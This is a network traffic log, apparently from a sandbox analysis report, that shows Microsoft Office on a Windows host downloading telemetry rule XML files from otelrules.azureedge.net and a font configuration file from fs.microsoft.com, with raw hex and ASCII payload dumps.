2024-12-08 16:45:25 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:25 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 4232bea2-001e-008d-6044-49d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164525Z-r1cf579d7782v2q5hC1EWRt9bw00000000mg000000000stk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-08 16:45:25 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:25 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:25 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: e9e1dff1-101e-0065-7303-484088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164525Z-r1cf579d778dfdgnhC1EWRd3w000000005r00000000032mx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:25 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:26 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:26 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 7b99b195-101e-0017-7009-4847c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164526Z-r1cf579d778v97q7hC1EWRf95c00000005fg000000005cyf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:26 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	49768	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:26 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-12-08 16:45:27 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=104470 Date: Sun, 08 Dec 2024 16:45:26 GMT Content-Length: 55 Connection: close X-CID: 2
2024-12-08 16:45:27 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:27 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:27 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 09188c3a-a01e-0021-2702-48814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164527Z-r1cf579d778bb9vvhC1EWRs95400000005e0000000006rzg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:27 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:27 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:27 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 90a12f2a-001e-0079-1603-4812e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164527Z-r1cf579d778zvkpnhC1EWRv23g0000000640000000005mx4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:27 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:27 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:27 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 90f2e2a0-001e-0014-5807-485151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164527Z-r1cf579d7789trgthC1EWRkkfc00000006p0000000000n0f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:27 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:27 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:28 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 75599bc5-d01e-008e-7c03-48387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164528Z-r1cf579d778zvkpnhC1EWRv23g000000063g000000005szr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:28 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:28 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:29 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 48f2d82f-b01e-0084-1302-48d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164529Z-r1cf579d778mvsklhC1EWRkavg000000065g000000003by3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:29 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:29 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:30 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 22946cbe-b01e-0021-6403-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164530Z-r1cf579d7784wpmvhC1EWRk4cn00000005eg000000000ba3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:30 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:29 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:30 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: e333ec31-201e-003f-1d06-486d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164530Z-r1cf579d778d5zkmhC1EWRk6h80000000690000000007gte x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:30 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:29 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:30 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 1e88822f-901e-0029-0201-48274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164530Z-r1cf579d778lntp7hC1EWR9gg4000000057g000000008yhz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:30 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:30 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:30 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 549300b5-601e-000d-6903-482618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164530Z-r1cf579d778t6txphC1EWRsd4400000006a000000000749x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
